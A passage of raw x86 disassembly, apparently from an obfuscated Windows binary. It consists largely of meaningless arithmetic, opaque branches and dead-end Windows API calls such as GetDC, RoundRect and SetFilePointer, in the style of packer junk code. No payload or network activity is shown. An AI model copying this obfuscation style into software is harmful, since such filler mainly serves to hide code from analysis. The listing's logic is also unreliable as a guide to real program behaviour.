cmp byte [ebp - 0x3d], al
je 0x1002afc0
push 0x15d2
push 0x1ae0
push 0xf46
push 0x1dbd
push 0x160b
push 0x454
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x1002afc0
cmp byte [ebp - 0x3d], al
je 0x1002afc0
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
inc dword [ebp - 0x6c]
push 1
pop ecx
jne 0x1002af48
mov dword [ebp - 0x38], 6
xor edx, edx
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x3c], 0x2065c829
mov dword [ebp - 0x4c], 0x6ff609d7
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setne dl
xor eax, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jl 0x1002b0b0
mov ecx, 0x53a34c86
mov dword [ebp - 0x490], ecx
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x488], ecx
mov dword [ebp - 0x484], ecx
xor ecx, ecx
mov dword [ebp - 0x4c], 0x7e434392
inc ecx
mov dword [ebp - 0x24], eax
jmp 0x1002b040
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5dc], 0x9b69b2e4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002b02f
mov esi, dword [ebp - 0x484]
xor edx, edx
mov dword [ebp - 0x5dc], esi
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x484]
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x484]
push 0
setle dl
xor ecx, ecx
cmp edx, esi
setl cl
sub eax, dword [ebp - 0x3c]
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x48c], edx
mov eax, dword [ebp - 0x38]
sub edx, eax
mov eax, dword [ebp - 0x4c]
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x4c], ecx
mov ecx, 0x53a34c86
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jge 0x1002b008
mov byte [ebp - 0xd], al
mov ecx, 0x1e559696
mov dword [ebp - 0x52c], ecx
xor esi, esi
mov dword [ebp - 0x528], ecx
inc esi
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x520], ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x2c], 0x11151c3
push 7
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x4c], 0xad38dc53
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x3c], 0x245e3205
mov dword [ebp - 0x18], 0x9c821f99
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002b122
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x28c], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002b10a
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002b144
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa60], 0x4dcc80fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002b12b
xor eax, eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], eax
jl 0x1002b1f1
mov dword [ebp - 0x2c], 0x67f5ed9a
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0xf14eb4c8
mov dword [ebp - 0x2c], 0x4f823aaf
mov dword [ebp - 0x2c], 0xfebfb2c4
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0x4f5ac3d6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002b1ab
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf60], 0xfffffffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002b192
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002b1cd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x878], 0x6335c0de
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002b1b4
xor eax, eax
inc dword [ebp - 0x874]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002b1e5
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor eax, eax
dec dword [ebp - 0x520]
jns 0x1002b156
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xa60]
add edx, 0x24485d1e
cmp eax, edx
setl cl
mov dword [ebp - 0xa5c], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, 0xd442
sub eax, ecx
mov dword [ebp - 0x4c], eax
jne 0x1002b22e
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002b230
mov edx, esi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28c]
cmp dword [ebp - 0x48], eax
jne 0x1002b264
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002b266
mov eax, esi
mov dword [ebp - 0x4c], eax
cmp byte [ebp - 0xd], 0
push 0xfffffffffffffff9
pop eax
je 0x1002b307
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x53072226
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002b2a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc88], 0x3342eb90
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002b28b
xor eax, eax
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x1002b2d6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b2c1
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0xc88]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x1c]
pop eax
jns 0x1002b2b0
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b2ec
push 0x61c
call dword [sym.imp.USER32.dll_GetSysColorBrush]
xor eax, eax
push 0xdbf
push 0x1328
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
or eax, 0xffffffff
mov ecx, 0xffff
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, ecx
cmp dword [ebp - 0x14], eax
jge 0x1002b328
mov dword [ebp - 0x3c], 0xf0a2
dec dword [ebp - 0x3c]
jmp 0x1002b334
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
push 2
mov dword [ebp - 0x14], 5
pop ebx
cmp dword [ebp - 0x14], ebx
jg 0x1002b423
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x1c], eax
jmp 0x1002b408
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x16
cmp dword [ebp - 0x24], 0x1c
jne 0x1002b405
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1002b392
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x790], 0xfffffff6
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x1002b37a
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002b3c0
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
cmp edx, 0xfffffffa
jle 0x1002b3b3
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002b3b5
mov eax, esi
cmp dword [ebp - 0x14], eax
je 0x1002b3be
mov edx, esi
jmp 0x1002b3c2
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, 0xb0b5
jle 0x1002b3d7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x790], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x790], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
push 0
pop eax
je 0x1002b36f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1002b35b
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002b34c
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [ebp - 0x14], eax
jl 0x1002c5e7
mov dword [ebp - 0x24], 0xd8e5ccc9
mov dword [ebp - 0x1c], 0x60edac7a
mov dword [ebp - 0x38], 0x65f4e26c
mov dword [ebp - 0x28], 0xc257a10d
mov dword [ebp - 0x18], 0x51acae7b
mov dword [ebp - 0x3c], 0x14e76493
mov dword [ebp - 0x20], 0x818e
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jge 0x1002b485
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x120], 0xfffffffc
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002b46d
xor eax, eax
mov dword [ebp - 0x30], eax
or edi, 0xffffffff
cmp dword [ebp - 0x30], ebx
jge 0x1002b4a4
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xbe8], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002b490
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002b4bf
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setne dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x120], 0xf023498
cmp dword [ebp - 0x1c], ebx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xf023498
setge cl
imul ecx, dword [ebp - 0x24]
test ecx, ecx
jne 0x1002b4e5
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24], 5
test eax, eax
jne 0x1002b4f7
cmp dword [ebp - 0x1c], eax
je 0x1002b500
jmp 0x1002b4f9
xor eax, eax
mov ecx, esi
cmp dword [ebp - 0x24], eax
jne 0x1002b502
mov ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002b5b1
mov dword [ebp - 0x34], 0xb31cf6a1
xor edx, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setl bl
xor ecx, ecx
cmp ebx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
jne 0x1002b56f
mov ecx, eax
cmp dword [ebp - 0x20], eax
jle 0x1002b571
mov ecx, esi
mov eax, dword [ebp - 0x1c]
add eax, ecx
imul eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x34]
je 0x1002b58a
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002b58c
mov edx, esi
jmp 0x1002b58e
xor eax, eax
mov edx, eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0xdfe1602a
neg ecx
push 2
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
pop ebx
setne al
mov dword [ebp - 0x120], eax
jmp 0x1002b6b1
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1002b657
mov dword [ebp - 0x2c], 0x9a01eed7
mov dword [ebp - 0x48], 0xf013ec5c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x120]
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x38]
cmp eax, ecx
jl 0x1002b5f0
mov edi, esi
jmp 0x1002b5f4
xor eax, eax
mov edi, eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002b613
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffffd
pop ecx
sub ecx, eax
cmp ecx, dword [ebp - 0xbe8]
jl 0x1002b615
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
push 1
setl dl
xor eax, eax
cmp edx, esi
pop esi
setl al
imul eax, dword [ebp - 0x48]
imul eax, edi
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
sub eax, ebx
imul eax, eax, 0xa5f7
mov dword [ebp - 0x18], eax
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002b5ca
or edi, 0xffffffff
mov dword [ebp - 0x28], eax
jmp 0x1002b6ab
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002b67c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x330], 0x523f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002b664
xor eax, eax
push 0xfffffffffffffff6
mov dword [ebp - 0x34], 0x12
pop ecx
jmp 0x1002b691
inc dword [ebp - 0x330]
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
je 0x1002b688
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b6a8
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffeb
jge 0x1002b65c
mov dword [ebp - 0x34], 0xbe4438b
xor eax, eax
mov dword [ebp - 0x924], 0x5b40194d
mov dword [ebp - 0x920], 0x5b40194d
mov dword [ebp - 0x91c], 0x5b40194d
mov dword [ebp - 0x918], 0x5b40194d
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x4c], 0xc1d10227
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002b716
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x3e4], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002b6fe
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002b732
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x44c], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002b71e
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002b748
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa40], 0xfffd
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002b737
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x448]
mov eax, dword [ebp - 0x448]
je 0x1002b764
mov eax, dword [ebp - 0x448]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3e4]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x918], 0x4ee
mov eax, dword [ebp - 0x3e0]
cmp eax, edi
mov eax, dword [ebp - 0x3e0]
setge cl
xor edx, edx
cmp ecx, 0x4ee
setne dl
sub edx, eax
sub edx, 0x4ae02655
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x1002b846
mov dword [ebp - 0x1c], 0x3c39
mov dword [ebp - 0x4c], 0x3fe7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b7db
push eax
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
push 0
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
cmp ecx, 0xf1036c14
mov ecx, 0xdce9db3f
sbb eax, eax
neg eax
cmp ecx, eax
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0xa3c]
mov eax, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp + eax*4 - 0x3e4], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sub eax, 0xaac0
sub ecx, eax
neg ecx
pop eax
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x4c], ecx
dec dword [ebp - 0x24]
jns 0x1002b7bc
mov dword [ebp - 0x4c], 0xe7bf5cbf
mov dword [ebp - 0x38], 0xed997831
mov dword [ebp - 0x28], 0x1897
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x1c], 0x1aae4b9
mov dword [ebp - 0x1c], eax
jmp 0x1002b87f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x304], 0xbefa5f9c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002b86e
mov eax, dword [ebp - 0x28]
mov eax, 0xffff
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x300]
mov eax, dword [ebp - 0x304]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
inc eax
je 0x1002b8ce
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002b939
push 0xbf7
push eax
push 0x582
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x1002b937
mov dword [ebp - 0x4c], 0xbfe73744
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x3c], 0x12b94821
cmp dword [ebp - 0x28], 4
jae 0x1002b8f1
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x300], eax
je 0x1002b8f3
mov edx, esi
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
sub eax, 0xe283
imul edx, eax
sub edx, dword [ebp - 0x304]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp dword [ebp - 0x304], edx
je 0x1002b92e
cmp dword [ebp - 0x20], eax
je 0x1002b92e
mov eax, esi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff8
jmp 0x1002b94c
mov dword [ebp - 0x1c], 0x57cf7a02
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x15
jle 0x1002b942
mov dword [ebp - 0x48], 0xfffd
mov dword [ebp - 0x3c], 0xf6a191a8
mov dword [ebp - 0x4c], 6
push 3
mov dword [ebp - 0x28], eax
pop edi
cmp dword [ebp - 0x28], edi
jge 0x1002b98a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x210], 0x5d0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002b972
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1002b9a6
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa74], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002b992
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002b9c8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xdfc], 0xfffffffc
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002b9af
xor eax, eax
cmp dword [ebp - 0x210], eax
jne 0x1002ba21
cmp dword [ebp - 0x210], 0x234a
jg 0x1002b9e2
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp - 0x20c]
xor edx, edx
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0xa70]
mov eax, dword [ebp - 0x210]
cmp eax, ecx
mov eax, dword [ebp - 0x210]
setne dl
add eax, edx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0x3c]
jge 0x1002ba1d
mov eax, dword [ebp - 0x210]
xor eax, eax
jmp 0x1002ba23
mov eax, esi
mov ecx, dword [ebp - 0x210]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0xa6c]
push 7
cmp ecx, eax
mov eax, dword [ebp - 0x208]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x210]
setg cl
imul eax, ecx
or ecx, 0xffffffff
add eax, 0xffffc2f9
mov dword [ebp - 0xdfc], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], ecx
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xfffffffa
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1002ba91
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xbc], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002ba7d
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002bab1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x14c], 0xe3051ebf
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002ba99
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1002bad1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x8dc], 0xfffffffe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002bab9
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1002baf1
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xbc], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002bad9
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jg 0x1002bcf7
mov dword [ebp - 0x18], 0xb59229a2
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov ecx, dword [ebp - 0x148]
imul ecx, eax
test ecx, ecx
jne 0x1002bb3b
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0xbc], ecx
je 0x1002bb46
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002bb48
mov edx, esi
jmp 0x1002bb4a
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x30]
sub ecx, edx
sub ecx, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x148]
sub ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
add eax, ecx
jne 0x1002bb7c
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
xor edx, edx
mov eax, dword [ebp - 0x148]
cmp ecx, eax
mov eax, dword [ebp - 0xbc]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov dword [ebp - 0x18], 0xeed050b7
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xbc]
cmp eax, ecx
setl dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x8d4]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x8d4], eax
test eax, eax
je 0x1002bc3a
mov eax, dword [ebp - 0x30]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0xbc], ebx
je 0x1002bc3a
mov edx, esi
jmp 0x1002bc40
xor eax, eax
xor ebx, ebx
mov edx, eax
mov eax, dword [ebp - 0x148]
xor ecx, ecx
cmp edx, eax
setg cl
inc ecx
mov dword [ebp - 0x4c], ecx
je 0x1002bc69
mov dword [ebp - 0x4c], 0x3a6575e0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov dword [ebp - 0x4c], eax
jmp 0x1002bce5
mov dword [ebp - 0x18], 0x32b805d3
mov dword [ebp - 0x20], 0xbf6b3dad
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0xbc], ebx
je 0x1002bcc8
mov eax, dword [ebp - 0x30]
mov ecx, 0xffff
mov edx, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x8dc]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
setl cl
cmp dword [ebp - 0x148], ecx
jge 0x1002bcaf
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xbc]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
test eax, eax
je 0x1002bcc8
mov edx, esi
jmp 0x1002bccc
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x30]
push 2
pop ebx
cmp dword [ebp - 0x30], ebx
jle 0x1002bafd
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d0], ecx
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002bd32
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4a0], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002bd1d
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jg 0x1002be07
mov dword [ebp - 0x4c], 0x1b0ce7ae
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x28]
jl 0x1002bd77
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x20], eax
je 0x1002bd79
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setge cl
xor ebx, ebx
dec ecx
mov eax, dword [ebp + eax*4 - 0x4a0]
cmp ecx, eax
setge bl
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4a0]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x4a0]
